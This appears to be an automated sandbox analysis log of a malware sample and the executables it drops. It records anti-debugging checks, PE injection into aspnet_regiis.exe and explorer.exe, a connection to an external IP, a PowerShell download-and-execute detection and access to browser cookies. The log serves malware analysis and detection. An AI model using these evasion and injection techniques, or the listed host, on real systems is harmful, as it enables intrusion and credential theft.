Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\sppsvc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\KKEBKJJDGH.exe

Code function: 20_2_050A0C97 rdtsc

20_2_050A0C97

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BB0AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6BB0AC62

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C25AC79 mov eax, dword ptr fs:[00000030h]		40_2_6C25AC79
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C259AA5 mov eax, dword ptr fs:[00000030h]		40_2_6C259AA5

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe

Code function: 40_2_6C25C88C GetProcessHeap,

40_2_6C25C88C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB0AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6BB0AC62
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375F118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	25_2_00007FF6375F118B
Source: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	Code function: 25_2_00007FF6375F11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	25_2_00007FF6375F11D8
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AA118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	35_2_00007FF666AA118B
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Code function: 35_2_00007FF666AA11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	35_2_00007FF666AA11D8
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C25ACAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_6C25ACAA
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C257E41 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_6C257E41
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Code function: 40_2_6C25831A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_6C25831A

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 51.195.138.197 10343

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 9140, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C00000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3020000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C00000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3020000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Memory written: PID: 6192 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Memory written: PID: 6192 base: 140001000 value: NU
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Memory written: PID: 6192 base: 1406F4000 value: DF
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Memory written: PID: 6192 base: 1408F5000 value: 00
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Memory written: PID: 6192 base: 213010 value: 00

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe

Thread register set: target process: 6192

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C00000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C01000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C06000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C07000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C08000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0A000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0B000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0C000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0D000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C01000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C06000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C07000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C08000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0A000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0B000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0C000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2C0D000
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2B9E008
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3020000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3021000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3026000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3027000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3028000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302A000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302B000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302C000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302D000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3021000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3026000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3027000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 3028000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302A000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302B000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302C000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 302D000
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe base: 2E4B008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\KKEBKJJDGH.exe "C:\Users\user\Documents\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe "C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe "C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe "C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe "C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe "C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe "C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.0.1
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9972 -ip 9972
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 9972 -s 1120
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 9928 -ip 9928
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 9928 -s 1116
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BB54760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6BB54760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BA31C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6BA31C30

Source: explorer.exe, 00000024.00000003.2652431228.000000000448C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000000.00000002.1813518462.000000000131D000.00000040.00000001.01000000.00000003.sdmp, KKEBKJJDGH.exe, KKEBKJJDGH.exe, 00000014.00000002.1847687487.0000000000A33000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, skotes.exe, 00000015.00000002.1866691514.00000000007B3000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Program Manager
Source: 5467ed4ac5.exe, 00000035.00000002.2794277783.0000000000F94000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: #Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BB0AE71 cpuid

0_2_6BB0AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011270001\e6f3e13d62.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011271001\877defb7e2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011272001\af6718da11.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011272001\af6718da11.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BB0A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6BB0A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6BA58390 NSS_GetVersion,

0_2_6BA58390

Source: C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

